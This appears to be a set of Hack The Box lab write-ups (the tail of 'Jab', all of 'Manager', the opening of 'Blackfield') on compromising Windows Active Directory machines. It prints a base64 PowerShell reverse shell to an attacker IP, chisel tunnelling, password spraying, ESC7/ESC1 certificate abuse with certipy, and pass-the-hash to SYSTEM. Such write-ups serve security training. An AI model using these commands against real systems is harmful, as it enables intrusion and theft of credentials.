    Directory: C:\users\svc_openfire\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/19/2024   8:23 PM             34 user.txt

Once a shell was obtained, I enumerated the machine and found an Openfire configuration file in C:\program files\openfire\conf which was connecting locally to the admin console on port 9090 (HTTP) and 9091 (HTTPS):

PS C:\program files\openfire\conf> cat openfire.xml
<?xml version="1.0" encoding="UTF-8"?>

<...snip...>

<jive> 
  <adminConsole> 
    <!-- Disable either port by setting the value to -1 -->  
    <port>9090</port>  
    <securePort>9091</securePort>  
    <interface>127.0.0.1</interface> 
  </adminConsole>  
  <locale>en</locale>  

<...snip...>

  <connectionProvider> 
    <className>org.jivesoftware.database.EmbeddedConnectionProvider</className> 
  </connectionProvider>  
  <setup>true</setup>  
  <fqdn>dc01.jab.htb</fqdn> 
</jive>

netstat confirmed that the machine was listening on local ports 9090 and 9091:

PS C:\program files\openfire> netstat -ano | findstr LISTENING

<...snip...>

  TCP    127.0.0.1:9090         0.0.0.0:0              LISTENING       3248
  TCP    127.0.0.1:9091         0.0.0.0:0              LISTENING       3248
 
<...snip...>

To access the admin console, I needed to forward port 9090 from DC01 to my VM. So, I started a python web server and downloaded Chisel onto DC01:

PS C:\programdata> wget 10.10.14.9:8000/chisel.exe -o chisel.exe

Next, I started the server on my VM:

┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ /opt/chisel/chisel server --port 8000 --reverse
2024/07/19 21:21:59 server: Reverse tunnelling enabled
2024/07/19 21:21:59 server: Fingerprint H7xLm8M3BxWvgIN8dcGy/4zNkxWacI+Rqj0nV+X+TaE=
2024/07/19 21:21:59 server: Listening on http://0.0.0.0:8000

Then, from DC01, I connected the client:

PS C:\programdata> ./chisel.exe client 10.10.14.9:8000 R:9090:localhost:9090

The server received a connection:

┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ /opt/chisel/chisel server --port 8000 --reverse
2024/07/19 21:21:59 server: Reverse tunnelling enabled
2024/07/19 21:21:59 server: Fingerprint H7xLm8M3BxWvgIN8dcGy/4zNkxWacI+Rqj0nV+X+TaE=
2024/07/19 21:21:59 server: Listening on http://0.0.0.0:8000
2024/07/19 21:24:30 server: session#1: tun: proxy#R:9090=>localhost:9090: Listening

Visiting http://127.0.0.1:9090 displayed the Openfire admin console login page:

I logged in with the credentials for svc_openfire:

Openfire has an option to upload plugins directly as .jar files:

There's an exploit here on GitHub for CVE-2023-32315 which is an Openfire admin console authentication bypass. Since I already had access to the console, the authentication bypass wasn't necessary. However, the repo also contains a plugin (openfire-management-tool-plugin.jar) to get RCE once access to the admin console has been obtained.

I uploaded openfire-management-tool-plugin.jar:

After uploading the plugin, I went to Server → Server Settings → Management Tool:

The plugin required a password:

I used the password 123 mentioned on the GitHub page. Then from the dropdown options, I selected system command:

Running whoami showed that commands were being executed as nt authority\system:

So, I started a Netcat listener and used the PowerShell #3 (Base64) command from revshells to send a reverse shell:

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOQAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

nc caught a shell as nt authority\system:

┌──(kali㉿kali)-[~/Desktop/HTB/Jab]
└─$ nc -lvnp 443          
listening on [any] 443 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.11.4] 63497

PS C:\Program Files\Openfire\bin> whoami
nt authority\system
PS C:\Program Files\Openfire\bin> cd /users/administrator/desktop
PS C:\users\administrator\desktop> ls


    Directory: C:\users\administrator\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/19/2024   8:23 PM             34 root.txt

Hack The Box - Manager

Sun, 14 Jul 2024 00:00:00 GMT

Manager is a Windows machine running Active Directory. After gathering a list of domain users by brute-forcing RIDs, one of the users is found to have their username set as the password (operator). These credentials allow access to an MSSQL instance which can be used to enumerate directories and files on the server using xp_dirtree. This leads to the discovery of a website backup ZIP in the web root. Once the ZIP has been downloaded, an XML file can be found that contains the credentials for the user raven. Enumeration of AD CS reveals an ESC7 vulnerability due to the ManageCA permission being granted to raven. This allows the user to perform administrative CA actions which can be leveraged to obtain a certificate for the administrator, leading to a shell as nt authority\system.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ nmap -p- -sC -sV -oA nmap/output 10.10.11.236
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-10 15:04 EDT
Nmap scan report for 10.10.11.236
Host is up (0.048s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Manager
|_http-server-header: Microsoft-IIS/10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-11 02:06:22Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.236:1433: 
|     Target_Name: MANAGER
|     NetBIOS_Domain_Name: MANAGER
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: manager.htb
|     DNS_Computer_Name: dc01.manager.htb
|     DNS_Tree_Name: manager.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2024-07-11T02:07:51+00:00; +7h00m13s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-07-11T02:03:42
|_Not valid after:  2054-07-11T02:03:42
| ms-sql-info: 
|   10.10.11.236:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
|_ssl-date: 2024-07-11T02:07:51+00:00; +7h00m13s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-07-11T02:07:51+00:00; +7h00m13s from scanner time.
| ssl-cert: Subject: commonName=dc01.manager.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc01.manager.htb
| Not valid before: 2023-07-30T13:51:28
|_Not valid after:  2024-07-29T13:51:28
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49690/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  msrpc         Microsoft Windows RPC
49701/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 7h00m13s, deviation: 0s, median: 7h00m12s
| smb2-time: 
|   date: 2024-07-11T02:07:11
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.60 seconds

Notable open ports:

53 (DNS)
80 (HTTP)
88 (Kerberos)
135, 593 (MSRPC)
139, 445 (SMB)
464 (kpasswd)
1433 (MSSQL)
3268 (LDAP)
3269 (LDAPS)
5985 (WinRM)

Active Directory:

domain: manager.htb
hostname: DC01

Webpage on port 80:

The guest account was enabled, but it didn't provide access to any interesting shares:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ netexec smb 10.10.11.236 -u 'a' -p '' --shares
SMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\a: (Guest)
SMB         10.10.11.236    445    DC01             [*] Enumerated shares
SMB         10.10.11.236    445    DC01             Share           Permissions     Remark
SMB         10.10.11.236    445    DC01             -----           -----------     ------
SMB         10.10.11.236    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.236    445    DC01             C$                              Default share
SMB         10.10.11.236    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.236    445    DC01             NETLOGON                        Logon server share
SMB         10.10.11.236    445    DC01             SYSVOL                          Logon server share

I was able to enumerate usernames by using the --rid-brute option in netexec, which iterates through possible RID values appended to the domain’s base SID in order to construct full SIDs and identify those that map to valid user or group accounts:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ netexec smb 10.10.11.236 -u 'a' -p '' --rid-brute              
SMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\a: (Guest)
SMB         10.10.11.236    445    DC01             498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.236    445    DC01             500: MANAGER\Administrator (SidTypeUser)
SMB         10.10.11.236    445    DC01             501: MANAGER\Guest (SidTypeUser)
SMB         10.10.11.236    445    DC01             502: MANAGER\krbtgt (SidTypeUser)
SMB         10.10.11.236    445    DC01             512: MANAGER\Domain Admins (SidTypeGroup)
SMB         10.10.11.236    445    DC01             513: MANAGER\Domain Users (SidTypeGroup)
SMB         10.10.11.236    445    DC01             514: MANAGER\Domain Guests (SidTypeGroup)
SMB         10.10.11.236    445    DC01             515: MANAGER\Domain Computers (SidTypeGroup)
SMB         10.10.11.236    445    DC01             516: MANAGER\Domain Controllers (SidTypeGroup)
SMB         10.10.11.236    445    DC01             517: MANAGER\Cert Publishers (SidTypeAlias)
SMB         10.10.11.236    445    DC01             518: MANAGER\Schema Admins (SidTypeGroup)
SMB         10.10.11.236    445    DC01             519: MANAGER\Enterprise Admins (SidTypeGroup)
SMB         10.10.11.236    445    DC01             520: MANAGER\Group Policy Creator Owners (SidTypeGroup)
SMB         10.10.11.236    445    DC01             521: MANAGER\Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.236    445    DC01             522: MANAGER\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.10.11.236    445    DC01             525: MANAGER\Protected Users (SidTypeGroup)
SMB         10.10.11.236    445    DC01             526: MANAGER\Key Admins (SidTypeGroup)
SMB         10.10.11.236    445    DC01             527: MANAGER\Enterprise Key Admins (SidTypeGroup)
SMB         10.10.11.236    445    DC01             553: MANAGER\RAS and IAS Servers (SidTypeAlias)
SMB         10.10.11.236    445    DC01             571: MANAGER\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.236    445    DC01             572: MANAGER\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.10.11.236    445    DC01             1000: MANAGER\DC01$ (SidTypeUser)
SMB         10.10.11.236    445    DC01             1101: MANAGER\DnsAdmins (SidTypeAlias)
SMB         10.10.11.236    445    DC01             1102: MANAGER\DnsUpdateProxy (SidTypeGroup)
SMB         10.10.11.236    445    DC01             1103: MANAGER\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
SMB         10.10.11.236    445    DC01             1113: MANAGER\Zhong (SidTypeUser)
SMB         10.10.11.236    445    DC01             1114: MANAGER\Cheng (SidTypeUser)
SMB         10.10.11.236    445    DC01             1115: MANAGER\Ryan (SidTypeUser)
SMB         10.10.11.236    445    DC01             1116: MANAGER\Raven (SidTypeUser)
SMB         10.10.11.236    445    DC01             1117: MANAGER\JinWoo (SidTypeUser)
SMB         10.10.11.236    445    DC01             1118: MANAGER\ChinHae (SidTypeUser)
SMB         10.10.11.236    445    DC01             1119: MANAGER\Operator (SidTypeUser)

I took all the SidTypeUser accounts from the output and extracted just the usernames:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ awk '{gsub("MANAGER\\\\", "", $6); print tolower($6)}' netexec-usernames > users
                  
┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ cat users
administrator
guest
krbtgt
dc01$
zhong
cheng
ryan
raven
jinwoo
chinhae
operator

With the users list, I tested if any of the accounts had the username set as the password. I specified the --no-brute option from netexec which tries only one password per user, this resulted in the successful authentication for operator:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ netexec smb 10.10.11.236 -u users -p users --no-brute --continue-on-success
SMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [-] manager.htb\administrator:administrator STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\guest:guest STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\krbtgt:krbtgt STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\dc01$:dc01$ STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\zhong:zhong STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\cheng:cheng STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\ryan:ryan STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\raven:raven STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\jinwoo:jinwoo STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\chinhae:chinhae STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [+] manager.htb\operator:operator

operator didn't have access to any useful shares, but the credentials were valid for the MSSQL instance using the -windows-auth option:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ impacket-mssqlclient operator@manager.htb -windows-auth
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (MANAGER\Operator  guest@master)>

All the databases were default:

SQL (MANAGER\Operator  guest@master)> enum_db
name     is_trustworthy_on   
------   -----------------   
master                   0   

tempdb                   0   

model                    0   

msdb                     1

The user didn’t have permission to enable xp_cmdshell:

SQL (MANAGER\Operator  guest@master)> enable_xp_cmdshell
[-] ERROR(DC01\SQLEXPRESS): Line 105: User does not have permission to perform this action.
[-] ERROR(DC01\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
[-] ERROR(DC01\SQLEXPRESS): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
[-] ERROR(DC01\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.

However, the user did have permission to list directories on the server with xp_dirtree:

SQL (MANAGER\Operator  guest@master)> xp_dirtree c:\
subdirectory                depth   file   
-------------------------   -----   ----   
$Recycle.Bin                    1      0   

Documents and Settings          1      0   

inetpub                         1      0   

PerfLogs                        1      0   

Program Files                   1      0   

Program Files (x86)             1      0   

ProgramData                     1      0   

Recovery                        1      0   

SQL2019                         1      0   

System Volume Information       1      0   

Users                           1      0   

Windows                         1      0

The web root located at c:\inetpub\wwwroot contained website-backup-27-07-23-old.zip which seemed interesting:

SQL (MANAGER\Operator  guest@master)> xp_dirtree c:\inetpub\wwwroot
subdirectory                      depth   file   
-------------------------------   -----   ----   
about.html                            1      1   

contact.html                          1      1   

css                                   1      0   

images                                1      0   

index.html                            1      1   

js                                    1      0   

service.html                          1      1   

web.config                            1      1   

website-backup-27-07-23-old.zip       1      1

I downloaded website-backup-27-07-23-old.zip using wget:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ wget http://10.10.11.236/website-backup-27-07-23-old.zip
--2024-07-10 17:49:28--  http://10.10.11.236/website-backup-27-07-23-old.zip
Connecting to 10.10.11.236:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1045328 (1021K) [application/x-zip-compressed]
Saving to: ‘website-backup-27-07-23-old.zip’

website-backup-27-07-2 100%[=========================>]   1021K  1.98MB/s    in 0.5s    

2024-07-10 17:49:29 (1.98 MB/s) - ‘website-backup-27-07-23-old.zip’ saved [1045328/1045328]

Listing the contents of website-backup-27-07-23-old revealed an XML configuration file, .old-conf.xml:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager/website-backup-27-07-23-old]
└─$ ls -la
total 68
drwxr-xr-x 5 kali kali  4096 Jul 10 17:51 .
drwxr-xr-x 5 kali kali  4096 Jul 10 17:51 ..
-rw-r--r-- 1 kali kali  5386 Jul 27  2023 about.html
-rw-r--r-- 1 kali kali  5317 Jul 27  2023 contact.html
drwx------ 2 kali kali  4096 Jul 10 17:51 css
drwx------ 2 kali kali  4096 Jul 10 17:51 images
-rw-r--r-- 1 kali kali 18203 Jul 27  2023 index.html
drwx------ 2 kali kali  4096 Jul 10 17:51 js
-rw-r--r-- 1 kali kali   698 Jul 27  2023 .old-conf.xml
-rw-r--r-- 1 kali kali  7900 Jul 27  2023 service.html

.old-conf.xml contained credentials for raven@manager.htb:

netexec showed that raven could successfully authenticate over WinRM:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ netexec winrm 10.10.11.236 -u 'raven' -p 'R4v3nBe5tD3veloP3r!123'
WINRM       10.10.11.236    5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
WINRM       10.10.11.236    5985   DC01             [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123 (Pwn3d!)

Using evil-winrm, I obtained a shell as raven:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ evil-winrm -i 10.10.11.236 -u 'raven' -p 'R4v3nBe5tD3veloP3r!123'
                                        
Evil-WinRM shell v3.5
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Raven\Documents> whoami
manager\raven
*Evil-WinRM* PS C:\Users\Raven\Documents> cd ../desktop
*Evil-WinRM* PS C:\Users\Raven\desktop> ls


    Directory: C:\Users\Raven\desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/10/2024   9:24 PM             34 user.txt

While looking for paths to escalate privileges, I enumerated AD CS with certipy-ad:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ certipy-ad find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Saved BloodHound data to '20240710180122_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20240710180122_Certipy.txt'
[*] Saved JSON output to '20240710180122_Certipy.json'

raven had the ManageCa access right which exposed an ESC7 vulnerability:

A principal with the ManageCa permission can edit the configuration on the CA object. This can be used to grant the ManageCertificates permission, which in turn allows for the approval of pending certificate requests (including failed ones).

So, to grant raven the ManageCertificates permission, I used certipy-ad and specified the -add-officer option:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ certipy-ad ca -ca manager-DC01-CA -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

I ran certipy-ad find again to confirm that raven had successfully been given the ManageCertificates access right:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ certipy-ad find -u raven -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Saved BloodHound data to '20240711030914_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20240711030914_Certipy.txt'
[*] Saved JSON output to '20240711030914_Certipy.json'

As shown below, raven now had the ManageCertificates permission:

The ability to approve failed certificates can be leveraged to exploit an ESC1 vulnerability in the SubCA template which is enabled by default. ESC1 allows a certificate to be requested as another user by specifying the user principal name.

SubCA configuration:

In the above template, the configurations that make it vulnerable to ESC1 are the following:

Client Authentication : True
Enrollee Supplies Subject : True
Requires Manager Approval : False
Authorized Signatures Required : 0

Only Domain Admins and Enterprise Admins can enroll in the SubCA template and since raven is not a member of either of these groups, requesting a certificate will be denied.

For example, I requested a certificate and specified the UPN administrator@manager.htb which gave a CERTSRV_E_TEMPLATE_DENIED error, but also provided the request ID and private key:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ certipy-ad req -ca manager-DC01-CA -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -template 'SubCA' -upn administrator@manager.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 15
Would you like to save the private key? (y/N) y
[*] Saved private key to 15.key
[-] Failed to request certificate

Since raven had the ManageCertificates access right, failed certificate requests could be issued and then retrieved. Therefore, I issued the failed certificate by specifying the request ID:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ certipy-ad ca -ca manager-DC01-CA -issue-request 15 -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

I retrieved the certificate:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ certipy-ad req -ca manager-DC01-CA -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -target dc01.manager.htb -retrieve 15
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 15
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '15.key'
[*] Saved certificate and private key to 'administrator.pfx'

If the local clock isn't synced with the DC, attempting to authenticate will result in the following error:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ certipy-ad auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

So, to sync my VM clock with the DC, I used ntpdate:

sudo ntpdate 10.10.11.236

I was then able to authenticate with administrator.pfx to get the NTLM hash for the administrator:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ certipy-ad auth -pfx administrator.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@manager.htb': aad3b435b51404eeaad3b435b51404ee:ae5064c2f62317332c88629e025924ef

Using PtH, I obtained a shell as nt authority\system with impacket-psexec:

┌──(kali㉿kali)-[~/Desktop/HTB/Manager]
└─$ impacket-psexec administrator@10.10.11.236 -hashes :ae5064c2f62317332c88629e025924ef
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.11.236.....
[*] Found writable share ADMIN$
[*] Uploading file zjdmkEQa.exe
[*] Opening SVCManager on 10.10.11.236.....
[*] Creating service KPbK on 10.10.11.236.....
[*] Starting service KPbK.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.4974]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> cd /users/administrator/desktop
 
C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 566E-8ECA

 Directory of C:\Users\Administrator\Desktop

09/28/2023  02:27 PM    <DIR>          .
09/28/2023  02:27 PM    <DIR>          ..
07/10/2024  11:42 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   2,962,952,192 bytes free

Hack The Box - Blackfield

Mon, 01 Jul 2024 00:00:00 GMT

Blackfield is a Windows machine running Active Directory. A list of potential usernames can be created based on user directories found in an open SMB share and then used to run an AS-REP roast attack which results in the hash for the support user. After cracking the password offline, domain info for BloodHound can be collected which leads to the discovery that the support user has the capability to change the password for the audit2020 user. audit2020 has access to a share that contains a ZIP with an LSASS memory dump. Running pypykatz on lsass.DMP reveals the NTLM hash for the svc_backup user (a member of Remote Management Users and Backup Operators). After obtaining a shell over WinRM as svc_backup, membership in Backup Operators can be leveraged to create a shadow copy of the C drive, this provides access to the ntds.dit database and SYSTEM registry hive. Both of these files can be copied locally and used with impacket-secretsdump to extract user NTLM hashes, resulting in a shell as the administrator.

nmap scan:

┌──(kali㉿kali)-[~/Desktop/HTB/Blackfield]
└─$ nmap -Pn -p- -sC -sV -oA nmap/output 10.10.10.192
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-28 02:26 EDT
Nmap scan report for BLACKFIELD.local (10.10.10.192)
Host is up (0.046s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-06-28 13:28:57Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m54s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-06-28T13:29:00
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 168.22 seconds

Open ports:

53 (DNS)
88 (Kerberos)
